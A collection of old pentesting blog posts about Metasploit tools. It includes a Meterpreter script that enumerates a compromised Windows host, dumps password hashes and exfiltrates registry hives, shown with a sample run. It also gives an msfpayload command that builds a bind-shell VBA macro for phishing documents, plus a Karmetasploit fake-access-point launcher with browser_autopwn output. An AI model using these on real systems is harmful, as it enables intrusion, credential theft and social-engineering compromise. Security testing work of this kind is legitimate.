Ubuntu 8.10 Ruby Fix For Metasploit Released

For those who moved to Ubuntu 8.10 and found that the version of Ruby in it broke Metasploit the fix has been released. Here is bug report
https://bugs.launchpad.net/ubuntu/+source/ruby1.8/+bug/282302

Meterpreter Windows Local Enumeration Script

I recently wrote a small script for local enumeration of a compromised hosts using windows native command line tools from meterpreter so as to comply with many rules of egagements that many companies have of not installing software on their servers. The script will run the following commands:
Executing:

• set
  
• arp -a
• ipconfig /all
• ipconfig /displaydns
• route print
• net view
• netstat -na
• netstat -ns
• net share
• net view
• net group
• net user
• net localgroup
• net view /domain
• netsh firewall show config
• wmic computersystem list
• wmic useraccount list
• wmic group
• wmic service list brief
• wmic volume list brief
• wmic process list brief
• wmic startup list full
• wmic qfe
• Run meterpreter hashdump
• export, compress and download all registry hives

and generate a text file with all the output of the commands and compress cabfiles of the exported registry hives, specially useful the last part if done remotely across the Internet. I wrote the script so that new commands can be easily added. The script has to be placed in the scripts/meterpreter/ folder in the root of the metasploit folder so to be able to use it.
you can download it from

http://www.darkoperator.com/winenum.rb.tar.gz

sample run:

meterpreter > run winenum
[*] Running Windows Local Enumerion Meterpreter Script by Darkoperator
[*] New session on 10.10.10.7:1249...
[*] Executing: set
[*] Executing: arp -a
[*] Executing: ipconfig /all
[*] Executing: ipconfig /displaydns
[*] Executing: route print
[*] Executing: net view
[*] Executing: netstat -na
[*] Executing: netstat -ns
[*] Executing: net share
[*] Executing: net view
[*] Executing: net group
[*] Executing: net user
[*] Executing: net localgroup
[*] Executing: net view /domain
[*] Executing: netsh firewall show config
[*] Executing: wmic computersystem list
[*] Executing: wmic useraccount list
[*] Executing: wmic group
[*] Executing: wmic service list brief
[*] Executing: wmic volume list brief
[*] Executing: wmic process list brief
[*] Executing: wmic startup list full
[*] Executing: wmic qfe
[*] Downloading WDSRB.txt to -> /tmp/10.10.10.7_20081123.390899982
[*] Dumping password hashes...
[*] Exporting HKCU
[*] Compressing HKCU into cab file for faster download
[*] Exporting HKLM
[*] Compressing HKLM into cab file for faster download
[*] Exporting HKCC
[*] Compressing HKCC into cab file for faster download
[*] Exporting HKCR
[*] Compressing HKCR into cab file for faster download
[*] Exporting HKU
[*] Compressing HKU into cab file for faster download
[*] Downloading HKCU.cab to -> /tmp/10.10.10.7_20081123.390899982-HKCU
[*] Downloading HKLM.cab to -> /tmp/10.10.10.7_20081123.390899982-HKLM
[*] Downloading HKCC.cab to -> /tmp/10.10.10.7_20081123.390899982-HKCC
[*] Downloading HKCR.cab to -> /tmp/10.10.10.7_20081123.390899982-HKCR
[*] Downloading HKU.cab to -> /tmp/10.10.10.7_20081123.390899982-HKU
[*] Removing anything we left behind...
[*] Done!
meterpreter >

Metasploit 3.2 Officialy Out

Well as many of you know Metasploit is one of my favority tools in my toolbox and I'm glad to announce that version 3.2 is officialy out and no loger in beta status. The Release Notes mention several changes in DLL injection, IPv6 Support, Meterprete, WMAP (wich I have covered before), Karmetasploit (wich I have coverd), changes in msfpaylod and many other. Go and Download the new version and give it a run. 

Metasploit 3.2 VBA Support for generating Payloads

Well Metasploit 3.2 is looking every time better and better, one feature I missed was that now you can encode your payloads in to VBA (visual basic for applications) code and inbed the code into a Office Document for clientside attacks during a pentest.

Usage: ./msfpayload [var=val]

you can even create a Javascript payload for generating malicious webpages or HTML documents that can be send to targets.

an example would be:
/msf3/msfpayload windows/shell_bind_tcp LPORT=5555 V > evilmacro.vba
then we take the content of the file generated and paste it in Tools >Macros >Visual Basic Editor in Word or Excel and send our file to our target machine, the default policy of the latest version of Office is to disable macros but thru human weakness and a bit of social engenieering the target may enable or already enabled himself Macros and set the security to low. Once open our payload will execute.

But what if we whant to use something like a Core Impact Agent or any other tool, well whe just head over to the tools folder and inside we will find exe2vba.rb

Usage: ./exe2vba.rb [exe] [vba]

Don't you just love Metasploit? I highly recomed the securityteam blog since from them is from who I learned about this feature.

Karmetasploit Script Updated

http://www.darkoperator.com/kmsapng.tgz

The script will do the following:
- Change the MAC address of the interface
- Set the Interface in Monitor Mode
- Start the Karma AP with Airbase-ng
- Change the MTU Size for the interface
- Set the IP
- Start the DHCPD server
- Set in iptables a redirect of all traffic to it self so as to bypass cached DNS entries
- Start Metasploit.

The script will crate a log file in /root called karma.log, as well as a sqlite db and a capture file all in the same folder.

here is a preview of the script and its option, I posted this same entry in the remote-exploit forums and the Pauldotcom forums and have received very good feedback on it.

bt ~ # ./kmsapng.sh -h
Karmetasploit AP launcher by Carlos Perez for Backtrack3
Version 0.2
carlos_perez[at]darkoperator.com
usage: kmsap.sh

Options:
-m : Mode, either km for regular karmetasploit attack
or kmf for filtered attack where only targeted
clients can associate to the fake AP.
-i : Interface supported by aircrack-ng for injection
-f : Text file with mac addresses of client computers
permited to connect to the fake AP.
-s : SSID name used as the initial broadcast
-h : This help message

Note: mode and interface are required for both type of attacks

Example:

bt ~ # ./kmsapng.sh -i wlan0 -m km -s linksys
Changing MAC Address
Current MAC: 00:0f:c1:08:12:91 (Wave Corporation)
Faked MAC: 00:40:1b:5b:b0:0b (Printer Systems Corp.)
starting fake ap
This will take 15 seconds ..............
DHCPD started successfully
Starting Packet capture to /root/kms.cap
Starting Metasploit

_
| | o
_ _ _ _ _|_ __, , _ | | __ _|_
/ |/ |/ | |/ | / | / \_|/ \_|/ / \_| |
| | |_/|__/|_/\_/|_/ \/ |__/ |__/\__/ |_/|_/
/|
\|

=[ msf v3.2-testing
+ -- --=[ 288 exploits - 124 payloads
+ -- --=[ 17 encoders - 6 nops
=[ 56 aux

resource> load db_sqlite3
[*] Successfully loaded plugin: db_sqlite3
resource> db_create /root/karma.db
[*] The specified database already exists, connecting
[*] Successfully connected to the database
[*] File: /root/karma.db
resource> use auxiliary/server/browser_autopwn
resource> setg AUTOPWN_HOST 10.0.0.1
AUTOPWN_HOST => 10.0.0.1
resource> setg AUTOPWN_PORT 55550
AUTOPWN_PORT => 55550
resource> setg AUTOPWN_URI /ads
AUTOPWN_URI => /ads
resource> set LHOST 10.0.0.1

......................................

I have tested the script using Ralink 2570, Realtek 8187L and Atheros cards. Let me know if you guys like it and if you have any recommendations. The script is heavily commented in case you whant to take a look.